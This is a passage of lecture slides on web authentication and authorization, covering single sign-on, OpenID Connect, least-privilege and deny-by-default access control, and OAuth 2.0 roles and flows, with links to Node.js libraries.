• Sign-on once, access many where


• Instead of implementing user management on
your site, you can delegate it to another site
where the user has an account
• Benefits:
• Faster sign-up process for users
• Fewer passwords for users to remember
• Fewer security risks due to not storing credentials
• Simpler user management, with accounts stored in
one place
• Tradeoff: “Put all your eggs in one basket”

102

102
OpenID Connect

• OpenID Connect is based on OAuth2


• Authorization server  OIDC Provider
• Client  Relying Party

103

103

OIDC Authorization Code Flow

104

104
OpenID Connect in NodeJS

• OIDC Client: https://github.com/panva/node-


openid-client
• OIDC Server: https://github.com/panva/node-
oidc-provider
• PassportJS: https://www.passportjs.org/

105

105

Discussion: Password Recovery

• What should we do if an user forget his


password?
• Think about the new threats and how to control
them?

106

106
3. Authorization

107

107

Authentication vs. Authorization

• Authentication: Verify the user is who they say


they are
• Login form
• Ambient authority (e.g. HTTP cookies)
• WebAuthn
• Authorization: “the process of verifying that a
requested action or service is approved for a
specific entity”(NIST)
• Access control lists (ACLs)
• Capability URLs

108

108
Authorization strategies

• Enforce Least Privileges: assigning users only the


minimum privileges necessary to complete their
task
• Deny by Default: when no access control rules
are explicitly matched, application should be
configured to deny access by default.
• Complete Mediation: permission should be
validated correctly on every request
• Ensure Lookup IDs are not accessible even when
guessed or cannot be tampered with

109

109

Authorization strategies

• Enforce Authorization Checks on Static


Resources
• Never rely on client-side access control checks
• Exit Safely when Authorization Checks Fail
• Implement Appropriate Logging

110

110
OAuth 2.0

• A widely used authorization protocol RFC 6749


• Terminology:
• Resource Owner (RO): an entity capable of granting
access to a protected resource
• Resource Server (RS): the server hosting the
protected resources, capable of accepting and
responding to protected resource requests using
access tokens.
• Authorization Server (AS): the server issuing access
tokens to the client after successfully authenticating
the resource owner and obtaining authorization
• Client: an application making protected resource
requests on behalf of the resource owner

111

111

OAuth2 flows

• A client has to be registered with the authorization


server
• Client ID: The authorization server will issue the
client with a client ID, and
• Client secret
• Scope: This is the permission the client is
requesting access to
• Redirect URI: URI to send the user to after they
have granted the client access
• State: a random string created by the client and
sent to the authorization server

112

112
Authorization Code Flow

113

113

Authorization Code Redirect URI Manipulation

114

114
CSRF

115

115

OAuth2 in NodeJS

• OAuth2 Client:
https://github.com/panva/oauth4webapi
• OAuth2 Server: https://github.com/node-
oauth/node-oauth2-server
• ExpressJS: https://github.com/node-oauth/express-
oauth-server

116

116

You might also like